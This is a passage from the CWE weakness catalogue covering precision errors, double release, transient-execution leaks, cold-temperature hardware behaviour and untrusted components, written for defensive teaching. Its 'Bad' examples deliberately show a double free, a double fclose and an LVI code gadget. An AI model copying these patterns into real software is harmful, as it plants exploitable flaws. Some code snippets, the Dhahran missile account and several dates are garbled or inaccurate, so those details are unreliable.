Execution core and platform do not support thermal sensors, performance throttling, or platform-cooling countermeasures to ensure that any software executing on the system cannot cause overheating past the maximum allowable temperature.

The platform and SoC should have failsafe thermal limits that are enforced by thermal sensors that trigger critical temperature alerts when high temperature is detected. Upon detection of high temperatures, the platform should trigger cooling or shutdown automatically.

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	1206	Power, Clock, Thermal, and Reset Concerns	1194	2266
MemberOf	C	1367	ICS Dependencies (& Architecture): External Physical Systems	1358	2296

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name
624	Hardware Fault Injection
625	Mobile Device Fault Injection

**References**

[REF-1156]Leonid Grustniy. "Loapi--This Trojan is hot!". 2017 December. < <https://www.kaspersky.com/blog/loapi-trojan/20510/> >.

**CWE-1339: Insufficient Precision or Accuracy of a Real Number**

**Weakness ID** : 1339

**Structure** : Simple

**Abstraction** : Base

**Description**

The product processes a real number with an implementation in which the number's representation does not preserve required accuracy and precision in its fractional part, causing an incorrect result.

**Extended Description**

When a security decision or calculation requires highly precise, accurate numbers such as financial calculations or prices, then small variations in the number could be exploited by an attacker.

There are multiple ways to store the fractional part of a real number in a computer. In all of these cases, there is a limit to the accuracy of recording a fraction. If the fraction can be represented in a fixed number of digits (binary or decimal), there might not be enough digits assigned to represent the number. In other cases the number cannot be represented in a fixed number of digits due to repeating in decimal or binary notation (e.g. 0.333333...) or due to a transcendental number such as  $\pi$  or  $\sqrt{2}$ . Rounding of numbers can lead to situations where the computer results do not adequately match the result of sufficiently accurate math.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403
PeerOf	B	190	Integer Overflow or Wraparound	453
CanPrecede	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
CanPrecede	C	834	Excessive Iteration	1634

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	2103

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Background Details

There are three major ways to store real numbers in computers. Each method is described along with the limitations of how they store their numbers.

- **Fixed:** Some implementations use a fixed number of binary bits to represent both the integer and the fraction. In the demonstrative example about Muller's Recurrence, the fraction  $108.0 - ((815.0 - 1500.0 / z) / y)$  cannot be represented in 8 binary digits. The numeric accuracy within languages such as PL/1, COBOL and Ada is expressed in decimal digits rather than binary digits. In SQL and most databases, the length of the integer and the fraction are specified by the programmer in decimal. In the language C, fixed reals are implemented according to ISO/IEC TR18037
- **Floating:** The number is stored in a version of scientific notation with a fixed length for the base and the significand. This allows flexibility for more accuracy when the integer portion is smaller. When dealing with large integers, the fractional accuracy is less. Languages such as PL/1, COBOL and Ada set the accuracy by decimal digit representation rather than using binary digits. Python also implements decimal floating-point numbers using the IEEE 754-2008 encoding method.
- **Ratio:** The number is stored as the ratio of two integers. These integers also have their limits. These integers can be stored in a fixed number of bits or in a vector of digits. While the vector of digits method provides for very large integers, they cannot truly represent a repeating or transcendental number as those numbers do not ever have a fixed length.

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
	<i>This weakness will generally lead to undefined results and therefore crashes. In some implementations the program will halt if the weakness causes an overflow during a calculation.</i>	
Integrity	Execute Unauthorized Code or Commands	

Scope	Impact	Likelihood
	<i>The results of the math are not as expected. This could cause issues where a value would not be properly calculated and provide an incorrect answer.</i>	
Confidentiality Availability Access Control	Read Application Data Modify Application Data	
	<i>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a product's implicit security policy.</i>	

## Potential Mitigations

### Phase: Implementation

### Phase: Patching and Maintenance

The developer or maintainer can move to a more accurate representation of real numbers. In extreme cases, the programmer can move to representations such as ratios of BigInts which can represent real numbers to extremely fine precision. The programmer can also use the concept of an Unum real. The memory and CPU tradeoffs of this change must be examined. Since floating point reals are used in many products and many locations, they are implemented in hardware and most format changes will cause the calculations to be moved into software resulting in slower products.

## Demonstrative Examples

### Example 1:

Muller's Recurrence is a series that is supposed to converge to the number 5. When running this series with the following code, different implementations of real numbers fail at specific iterations:

Example Language: Rust

(Bad)

```
fn rec_float(y: f64, z: f64) -> f64
{
    108.0 - ((815.0 - 1500.0 / z) / y);
}
fn float_calc(turns: usize) -> f64
{
    let mut x: Vec<f64> = vec![4.0, 4.25];
    (2..turns + 1).for_each(|number|
    {
        x.push(rec_float(x[number - 1], x[number - 2]));
    });
    x[turns]
}
```

The chart below shows values for different data structures in the rust language when Muller's recurrence is executed to 80 iterations. The data structure f64 is a 64 bit float. The data structures I<number>F<number> are fixed representations 128 bits in length that use the first number as the size of the integer and the second size as the size of the fraction (e.g. I16F112 uses 16 bits for the integer and 112 bits for the fraction). The data structure of Ratio comes in three different implementations: i32 uses a ratio of 32 bit signed integers, i64 uses a ratio of 64 bit signed integers and BigInt uses a ratio of signed integer with up to 2<sup>32</sup> digits of base 256. Notice how even with 112 bits of fractions or ratios of 64bit unsigned integers, this math still does not converge to an expected value of 5.

Example Language: Rust

(Good)

```
Use num_rational::BigRational;
fn rec_big(y: BigRational, z: BigRational) -> BigRational
{
```

```

BigRational::from_integer(BigInt::from(108))
- ((BigRational::from_integer(BigInt::from(815))
- BigRational::from_integer(BigInt::from(1500)) / z)
/ y)
}
fn big_calc(turns: usize) -> BigRational
{
let mut x: Vec<BigRational> = vec![BigRational::from_float(4.0).unwrap(), BigRational::from_float(4.25).unwrap(),];
(2..turns + 1).for_each(|number|
{
x.push(rec_big(x[number - 1].clone(), x[number - 2].clone()));
});
x[turns].clone()
}

```

**Example 2:**

On February 25, 1991, during the eve of the of an Iraqi invasion of Saudi Arabia, a Scud missile fired from Iraqi positions hit a US Army barracks in Dhahran, Saudi Arabia. It miscalculated time and killed 28 people [REF-1190].

**Example 3:**

Sleipner A, an offshore drilling platform in the North Sea, was incorrectly constructed with an underestimate of 50% of strength in a critical cluster of buoyancy cells needed for construction. This led to a leak in buoyancy cells during lowering, causing a seismic event of 3.0 on the Richter Scale and about \$700M loss [REF-1281].

**Observed Examples**

Reference	Description
<b>CVE-2018-16069</b>	Chain: series of floating-point precision errors (CWE-1339) in a web browser rendering engine causes out-of-bounds read (CWE-125), giving access to cross-origin data <a href="https://www.cve.org/CVERecord?id=CVE-2018-16069">https://www.cve.org/CVERecord?id=CVE-2018-16069</a>
<b>CVE-2017-7619</b>	Chain: rounding error in floating-point calculations (CWE-1339) in image processor leads to infinite loop (CWE-835) <a href="https://www.cve.org/CVERecord?id=CVE-2017-7619">https://www.cve.org/CVERecord?id=CVE-2017-7619</a>
<b>CVE-2021-29529</b>	Chain: machine-learning product can have a heap-based buffer overflow (CWE-122) when some integer-oriented bounds are calculated by using ceiling() and floor() on floating point values (CWE-1339) <a href="https://www.cve.org/CVERecord?id=CVE-2021-29529">https://www.cve.org/CVERecord?id=CVE-2021-29529</a>
<b>CVE-2008-2108</b>	Chain: insufficient precision (CWE-1339) in random-number generator causes some zero bits to be reliably generated, reducing the amount of entropy (CWE-331) <a href="https://www.cve.org/CVERecord?id=CVE-2008-2108">https://www.cve.org/CVERecord?id=CVE-2008-2108</a>
<b>CVE-2006-6499</b>	Chain: web browser crashes due to infinite loop - "bad looping logic [that relies on] floating point math [CWE-1339] to exit the loop [CWE-835]" <a href="https://www.cve.org/CVERecord?id=CVE-2006-6499">https://www.cve.org/CVERecord?id=CVE-2006-6499</a>

**References**

[REF-1186]"Is COBOL holding you hostage with Math?". 2018 July 8. < <https://medium.com/the-technical-archaeologist/is-cobol-holding-you-hostage-with-math-5498c0eb428b> >.

[REF-1187]"Intermediate results and arithmetic precision". 2021 June 0. < <https://www.ibm.com/docs/en/cobol-zos/6.2?topic=appendixes-intermediate-results-arithmetic-precision> >.

[REF-1188]"8.1.2. Arbitrary Precision Numbers". 2021 June 4. < <https://www.postgresql.org/docs/8.3/datatype-numeric.html#DATATYPE-NUMERIC-DECIMAL> >.

[REF-1189]"Muller's Recurrence". 2017 November 1. < <https://scipython.com/blog/mullers-recurrence/> >.

[REF-1190]"An Improvement To Floating Point Numbers". 2015 October 2. < <https://hackaday.com/2015/10/22/an-improvement-to-floating-point-numbers/> >.

[REF-1191]"HIGH PERFORMANCE COMPUTING: ARE WE JUST GETTING WRONG ANSWERS FASTER?". 1999 June 3. < <https://www3.nd.edu/~markst/cast-award-speech.pdf> >.

## CWE-1341: Multiple Releases of Same Resource or Handle

**Weakness ID** : 1341

**Structure** : Simple

**Abstraction** : Base

### Description

The product attempts to close or release a resource or handle more than once, without any successful open between the close operations.

### Extended Description

Code typically requires "opening" handles or references to resources such as memory, files, devices, socket connections, services, etc. When the code is finished with using the resource, it is typically expected to "close" or "release" the resource, which indicates to the environment (such as the OS) that the resource can be re-assigned or reused by unrelated processes or actors - or in some cases, within the same process. API functions or other abstractions are often used to perform this release, such as free() or delete() within C/C++, or file-handle close() operations that are used in many languages.




Unfortunately, the implementation or design of such APIs might expect the developer to be responsible for ensuring that such APIs are only called once per release of the resource. If the developer attempts to release the same resource/handle more than once, then the API's expectations are not met, resulting in undefined and/or insecure behavior. This could lead to consequences such as memory corruption, data corruption, execution path corruption, or other consequences.

Note that while the implementation for most (if not all) resource reservation allocations involve a unique identifier/pointer/symbolic reference, then if this identifier is reused, checking the identifier for resource closure may result in a false state of openness and closing of the wrong resource. For this reason, reuse of identifiers is discouraged.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		675	Multiple Operations on Resource in Single-Operation Context	1393
ParentOf		415	Double Free	954
CanPrecede		672	Operation on a Resource after Expiration or Release	1386

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

**Language** : Rust (*Prevalence = Undetermined*)

**Language** : Not Language-Specific (*Prevalence = Undetermined*)



**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Operating\_System** : Not OS-Specific (Prevalence = Undetermined)

**Architecture** : Not Architecture-Specific (Prevalence = Undetermined)

**Technology** : Not Technology-Specific (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Availability Integrity	DoS: Crash, Exit, or Restart	Medium

### Detection Methods

#### Automated Static Analysis

For commonly-used APIs and resource types, automated tools often have signatures that can spot this issue.

#### Automated Dynamic Analysis

Some compiler instrumentation tools such as AddressSanitizer (ASan) can indirectly detect some instances of this weakness.

### Potential Mitigations

#### Phase: Implementation

Change the code's logic so that the resource is only closed once. This might require simplifying or refactoring. This fix can be simple to do in small code blocks, but more difficult when multiple closes are buried within complex conditionals.

#### Phase: Implementation

*Strategy = Refactoring*

It can be effective to implement a flag that is (1) set when the resource is opened, (2) cleared when it is closed, and (3) checked before closing. This approach can be useful when there are disparate cases in which closes must be performed. However, flag-tracking can increase code complexity and requires diligent compliance by the programmer.

#### Phase: Implementation

*Strategy = Refactoring*

When closing a resource, set the resource's associated variable to NULL or equivalent value for the given language. Some APIs will ignore this null value without causing errors. For other APIs, this can lead to application crashes or exceptions, which may still be preferable to corrupting an unintended resource such as memory or data.

*Effectiveness = Defense in Depth*

### Demonstrative Examples

#### Example 1:

This example attempts to close a file twice. In some cases, the C library `fclose()` function will catch the error and return an error code. In other implementations, a double-free (CWE-415) occurs, causing the program to fault. Note that the examples presented here are simplistic, and double `fclose()` calls will frequently be spread around a program, making them more difficult to find during code reviews.

*Example Language: C*

*(Bad)*

```
char b[2000];
FILE *f = fopen("dbl_cls.c", "r");
```



```

if (f)
{
    b[0] = 0;
    fread(b, 1, sizeof(b) - 1, f);
    printf("%s\n", b);
    int r1 = fclose(f);
    printf("\n-----\n1 close done '%d'\n", r1);
    int r2 = fclose(f); // Double close
    printf("2 close done '%d'\n", r2);
}

```

There are multiple possible fixes. This fix only has one call to `fclose()`, which is typically the preferred handling of this problem - but this simplistic method is not always possible.

*Example Language: C*

*(Good)*

```

char b[2000];
FILE *f = fopen("dbl_cls.c", "r");
if (f)
{
    b[0] = 0;
    fread(b, 1, sizeof(b) - 1, f);
    printf("%s\n", b);
    int r = fclose(f);
    printf("\n-----\n1 close done '%d'\n", r);
}

```

This fix uses a flag to call `fclose()` only once. Note that this flag is explicit. The variable "f" could also have been used as it will be either NULL if the file is not able to be opened or a valid pointer if the file was successfully opened. If "f" is replacing "f\_flg" then "f" would need to be set to NULL after the first `fclose()` call so the second `fclose` call would never be executed.

*Example Language: C*

*(Good)*

```

char b[2000];
int f_flg = 0;
FILE *f = fopen("dbl_cls.c", "r");
if (f)
{
    f_flg = 1;
    b[0] = 0;
    fread(b, 1, sizeof(b) - 1, f);
    printf("%s\n", b);
    if (f_flg)
    {
        int r1 = fclose(f);
        f_flg = 0;
        printf("\n-----\n1 close done '%d'\n", r1);
    }
    if (f_flg)
    {
        int r2 = fclose(f); // Double close
        f_flg = 0;
        printf("2 close done '%d'\n", r2);
    }
}

```

### Example 2:

The following code shows a simple example of a double free vulnerability.

*Example Language: C*

*(Bad)*

```

char* ptr = (char*)malloc (SIZE);
...
if (abrt) {

```

```

    free(ptr);
}
...
free(ptr);

```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than this example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

### Observed Examples

Reference	Description
<b>CVE-2019-13351</b>	file descriptor double close can cause the wrong file to be associated with a file descriptor. <a href="https://www.cve.org/CVERecord?id=CVE-2019-13351">https://www.cve.org/CVERecord?id=CVE-2019-13351</a>
<b>CVE-2006-5051</b>	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition that leads to a double free (CWE-415). <a href="https://www.cve.org/CVERecord?id=CVE-2006-5051">https://www.cve.org/CVERecord?id=CVE-2006-5051</a>
<b>CVE-2004-0772</b>	Double free resultant from certain error conditions. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0772">https://www.cve.org/CVERecord?id=CVE-2004-0772</a>

### Notes

#### Terminology

The terms related to "release" may vary depending on the type of resource, programming language, specification, or framework. "Close" has been used synonymously for the release of resources like file descriptors and file handles. "Return" is sometimes used instead of Release. "Free" is typically used when releasing memory or buffers back into the system for reuse.

### References

[REF-1198]"close - Perldoc Browser". < <https://perldoc.perl.org/functions/close> >.

[REF-1199]"io - Core tools for working with streams — Python 3.9.7 documentation". 2021 September 2. < <https://docs.python.org/3.9/library/io.html#io.IOBase.close> >.

[REF-1200]"FileOutputStream (Java Platform SE 7 )". 2020. < <https://docs.oracle.com/javase/7/docs/api/java/io/FileOutputStream.html> >.

[REF-1201]"FileOutputStream (Java SE 11 & JDK 11 )". 2021. < <https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/io/FileOutputStream.html> >.

## CWE-1342: Information Exposure through Microarchitectural State after Transient Execution

**Weakness ID** : 1342

**Structure** : Simple

**Abstraction** : Base

### Description

The processor does not properly clear microarchitectural state after incorrect microcode assists or speculative execution, resulting in transient execution.

### Extended Description

In many processor architectures an exception, mis-speculation, or microcode assist results in a flush operation to clear results that are no longer required. This action prevents these results from influencing architectural state that is intended to be visible from software. However, traces of this transient execution may remain in microarchitectural buffers, resulting in a change in microarchitectural state that can expose sensitive information to an attacker using side-channel analysis. For example, Load Value Injection (LVI) [REF-1202] can exploit direct injection of erroneous values into intermediate load and store buffers.


Several conditions may need to be fulfilled for a successful attack:

- 1) incorrect transient execution that results in remanence of sensitive information;
- 2) attacker has the ability to provoke microarchitectural exceptions;
- 3) operations and structures in victim code that can be exploited must be identified.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		226	Sensitive Information in Resource Not Removed Before Reuse	536

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
ChildOf		226	Sensitive Information in Resource Not Removed Before Reuse	536

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Workstation (*Prevalence = Undetermined*)

**Architecture** : x86 (*Prevalence = Undetermined*)

**Architecture** : ARM (*Prevalence = Undetermined*)

**Architecture** : Other (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	Medium
Integrity	Read Memory	
	Execute Unauthorized Code or Commands	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Requirements**

Hardware ensures that no illegal data flows from faulting micro-ops exists at the microarchitectural level.

*Effectiveness = High*

*Being implemented in silicon it is expected to fully address the known weaknesses with limited performance impact.*

### Phase: Build and Compilation

Include instructions that explicitly remove traces of unneeded computations from software interactions with microarchitectural elements e.g. lfence, sfence, mfence, clflush.

*Effectiveness = High*

*This effectively forces the processor to complete each memory access before moving on to the next operation. This may have a large performance impact.*

## Demonstrative Examples

### Example 1:

Faulting loads in a victim domain may trigger incorrect transient forwarding, which leaves secret-dependent traces in the microarchitectural state. Consider this example from [REF-1203].

Consider the code gadget:

*Example Language: C*

*(Bad)*

```
void call_victim(size_t untrusted_arg) {
    *arg_copy = untrusted_arg;
    array[**trusted_ptr * 4096];
}
```

A processor with this weakness will store the value of `untrusted_arg` (which may be provided by an attacker) to the stack, which is trusted memory. Additionally, this store operation will save this value in some microarchitectural buffer, e.g. the store queue.

In this code gadget, `trusted_ptr` is dereferenced while the attacker forces a page fault. The faulting load causes the processor to mis-speculate by forwarding `untrusted_arg` as the (speculative) load result. The processor then uses `untrusted_arg` for the pointer dereference. After the fault has been handled and the load has been re-issued with the correct argument, secret-dependent information stored at the address of `trusted_ptr` remains in microarchitectural state and can be extracted by an attacker using a code gadget.

## Observed Examples

Reference	Description
<b>CVE-2020-0551</b>	Load value injection in some processors utilizing speculative execution may allow an authenticated user to enable information disclosure via a side-channel with local access. <a href="https://www.cve.org/CVERecord?id=CVE-2020-0551">https://www.cve.org/CVERecord?id=CVE-2020-0551</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input type="checkbox"/>	Page
MemberOf	<b>C</b>	1201	Core and Compute Issues	<input type="checkbox"/>	1194 2265

## Notes

### Relationship

CWE-1342 differs from CWE-1303, which is related to misprediction and biasing microarchitectural components, while CWE-1342 addresses illegal data flows and retention. For

example, Spectre is an instance of CWE-1303 biasing branch prediction to steer the transient execution indirectly.

### Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are closely analyzing this entry and others to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks. Additional investigation may include other weaknesses related to microarchitectural state. As a result, this entry might change significantly in CWE 4.10.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
696	Load Value Injection

### References

[REF-1202]Jo Van Bulck, Daniel Moghimi, Michael Schwarz, Moritz Lipp, Marina Minkin, Daniel Genkin, Yuval Yarom, Berk Sunar, Daniel Gruss, and Frank Piessens. "LVI - Hijacking Transient Execution with Load Value Injection". 2020. < <https://lviattack.eu/> >.

[REF-1203]Jo Van Bulck, Daniel Moghimi, Michael Schwarz, Moritz Lipp, Marina Minkin, Daniel Genkin, Yuval Yarom, Berk Sunar, Daniel Gruss, and Frank Piessens. "LVI: Hijacking Transient Execution through Microarchitectural Load Value Injection". 2020 January 9. < <https://lviattack.eu/lvi.pdf> >.

[REF-1204]"Hijacking Transient Execution through Microarchitectural Load Value Injection". 2020 May 8. < <https://www.youtube.com/watch?v=99kVz-YGi6Y> >.

[REF-1205]Stephan van Schaik, Marina Minkin, Andrew Kwong, Daniel Genkin, Yuval Yarom. "CacheOut: Leaking Data on Intel CPUs via Cache Evictions". 2020 December 8. < <https://cacheoutattack.com/files/CacheOut.pdf> >.

## CWE-1351: Improper Handling of Hardware Behavior in Exceptionally Cold Environments

**Weakness ID** : 1351

**Structure** : Simple

**Abstraction** : Base

### Description

A hardware device, or the firmware running on it, is missing or has incorrect protection features to maintain goals of security primitives when the device is cooled below standard operating temperatures.

### Extended Description

The hardware designer may improperly anticipate hardware behavior when exposed to exceptionally cold conditions. As a result they may introduce a weakness by not accounting for the modified behavior of critical components when in extreme environments.

An example of a change in behavior is that power loss won't clear/reset any volatile state when cooled below standard operating temperatures. This may result in a weakness when the starting state of the volatile memory is being relied upon for a security decision. For example, a Physical Unclonable Function (PUF) may be supplied as a security primitive to improve confidentiality, authenticity, and integrity guarantees. However, when the PUF is paired with DRAM, SRAM, or another temperature sensitive entropy source, the system designer may introduce weakness by failing to account for the chosen entropy source's behavior at exceptionally low temperatures. In the case of DRAM and SRAM, when power is cycled at low temperatures, the device will not contain the bitwise biasing caused by inconsistencies in manufacturing and will instead contain the data


from previous boot. Should the PUF primitive be used in a cryptographic construction which does not account for full adversary control of PUF seed data, weakness would arise.

This weakness does not cover "Cold Boot Attacks" wherein RAM or other external storage is super cooled and read externally by an attacker.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1384	Improper Handling of Physical or Environmental Conditions	2078

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Embedded (*Prevalence = Undetermined*)

**Architecture** : Microcomputer (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	Low
Authentication	Unexpected State	
<i>Consequences of this weakness are highly contextual.</i>		




## Potential Mitigations

### Phase: Architecture and Design

The system should account for security primitive behavior when cooled outside standard temperatures.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1205	Security Primitives and Cryptography Issues	1194	2266
MemberOf		1388	Physical Access Issues and Concerns	1194	2309

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
624	Hardware Fault Injection
625	Mobile Device Fault Injection

## References

[REF-1181]Nikolaos Athanasios Anagnostopoulos, Tolga Arul, Markus Rosenstihl, André Schaller, Sebastian Gabmeyer and Stefan Katzenbeisser. "Low-Temperature Data Remanence Attacks Against Intrinsic SRAM PUFs". 2018 October 5. < <https://ieeexplore.ieee.org/abstract/document/8491873/> >.

[REF-1182]Yuan Cao, Yunyi Guo, Benyu Liu, Wei Ge, Min Zhu and Chip-Hong Chang. "A Fully Digital Physical Unclonable Function Based Temperature Sensor for Secure Remote Sensing". 2018 October 1. < <https://ieeexplore.ieee.org/abstract/document/8487347/> >.

[REF-1183] Urbi Chatterjee, Soumi Chatterjee, Debdeep Mukhopadhyay and Rajat Subhra Chakraborty. "Machine Learning Assisted PUF Calibration for Trustworthy Proof of Sensor Data in IoT". 2020 June. < <https://dl.acm.org/doi/abs/10.1145/3393628> >.

## CWE-1357: Reliance on Insufficiently Trustworthy Component

**Weakness ID** : 1357

**Structure** : Simple

**Abstraction** : Class

### Description

The product is built from multiple separate components, but it uses a component that is not sufficiently trusted to meet expectations for security, reliability, updateability, and maintainability.

### Extended Description

Many modern hardware and software products are built by combining multiple smaller components together into one larger entity, often during the design or architecture phase. For example, a hardware component might be built by a separate supplier, or the product might use an open-source software library from a third party.

Regardless of the source, each component should be sufficiently trusted to ensure correct, secure operation of the product. If a component is not trustworthy, it can produce significant risks for the overall product, such as vulnerabilities that cannot be patched fast enough (if at all); hidden functionality such as malware; inability to update or replace the component if needed for security purposes; hardware components built from parts that do not meet specifications in ways that can lead to weaknesses; etc. Note that a component might not be trustworthy even if it is owned by the product vendor, such as a software component whose source code is lost and was built by developers who left the company, or a component that was developed by a separate company that was acquired and brought into the product's own company.

Note that there can be disagreement as to whether a component is sufficiently trustworthy, since trust is ultimately subjective. Different stakeholders (e.g., customers, vendors, governments) have various threat models and ways to assess trust, and design/architecture choices might make tradeoffs between security, reliability, safety, privacy, cost, and other characteristics.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444
ParentOf	ⓑ	1104	Use of Unmaintained Third Party Components	1803
ParentOf	ⓑ	1329	Reliance on Component That is Not Updateable	2043

### Weakness Ordinalities

**Indirect** :

### Applicable Platforms



**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### Potential Mitigations

**Phase: Requirements**

**Phase: Architecture and Design**

**Phase: Implementation**

For each component, ensure that its supply chain is well-controlled with sub-tier suppliers using best practices. For third-party software components such as libraries, ensure that they are developed and actively maintained by reputable vendors.

**Phase: Architecture and Design**

**Phase: Implementation**

**Phase: Integration**

**Phase: Manufacturing**

Maintain a Bill of Materials for all components and sub-components of the product. For software, maintain a Software Bill of Materials (SBOM). According to [REF-1247], "An SBOM is a formal, machine-readable inventory of software components and dependencies, information about those components, and their hierarchical relationships."

**Phase: Operation**

**Phase: Patching and Maintenance**

Continue to monitor changes in each of the product's components, especially when the changes indicate new vulnerabilities, end-of-life (EOL) plans, supplier practices that affect trustworthiness, etc.

### Observed Examples

Reference	Description
<b>CVE-2020-9054</b>	Chain: network-attached storage (NAS) device has a critical OS command injection (CWE-78) vulnerability that is actively exploited to place IoT devices into a botnet, but some products are "end-of-support" and cannot be patched (CWE-1277). [REF-1097] <a href="https://www.cve.org/CVERecord?id=CVE-2020-9054">https://www.cve.org/CVERecord?id=CVE-2020-9054</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	1208	Cross-Cutting Problems	1194	2268
MemberOf	<b>C</b>	1367	ICS Dependencies (& Architecture): External Physical Systems	1358	2296
MemberOf	<b>C</b>	1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2297
MemberOf	<b>C</b>	1370	ICS Supply Chain: Common Mode Frailties	1358	2298

## Notes

### Maintenance

As of CWE 4.10, the name and description for this entry has undergone significant change and is still under public discussion, especially by members of the HW SIG.

## References

[REF-1212]"A06:2021 - Vulnerable and Outdated Components". 2021 September 4. OWASP. < [https://owasp.org/Top10/A06\\_2021-Vulnerable\\_and\\_Outdated\\_Components/](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/) >.

[REF-1246]National Telecommunications and Information Administration. "SOFTWARE BILL OF MATERIALS". < <https://www.ntia.gov/SBOM> >.

[REF-1247]NTIA Multistakeholder Process on Software Component Transparency Framing Working Group. "Framing Software Component Transparency: Establishing a Common Software Bill of Materials (SBOM)". 2021 October 1. < [https://www.ntia.gov/files/ntia/publications/ntia\\_sbom\\_framing\\_2nd\\_edition\\_20211021.pdf](https://www.ntia.gov/files/ntia/publications/ntia_sbom_framing_2nd_edition_20211021.pdf) >.

[REF-1097]Brian Krebs. "Zykel Flaw Powers New Mirai IoT Botnet Strain". 2020 March 0. < <https://krebsonsecurity.com/2020/03/zxyel-flaw-powers-new-mirai-iot-botnet-strain/> >.

## CWE-1384: Improper Handling of Physical or Environmental Conditions

**Weakness ID** : 1384

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not properly handle unexpected physical or environmental conditions that occur naturally or are artificially induced.

### Extended Description

Hardware products are typically only guaranteed to behave correctly within certain physical limits or environmental conditions. Such products cannot necessarily control the physical or external conditions to which they are subjected. However, the inability to handle such conditions can undermine a product's security. For example, an unexpected physical or environmental condition may cause the flipping of a bit that is used for an authentication decision. This unexpected condition could occur naturally or be induced artificially by an adversary.

Physical or environmental conditions of concern are:

- Atmospheric characteristics: extreme temperature ranges, etc.
- Interference: electromagnetic interference (EMI), radio frequency interference (RFI), etc.
- Assorted light sources: white light, ultra-violet light (UV), lasers, infrared (IR), etc.
- Power variances: under-voltages, over-voltages, under-current, over-current, etc.
- Clock variances: glitching, overclocking, clock stretching, etc.
- Component aging and degradation
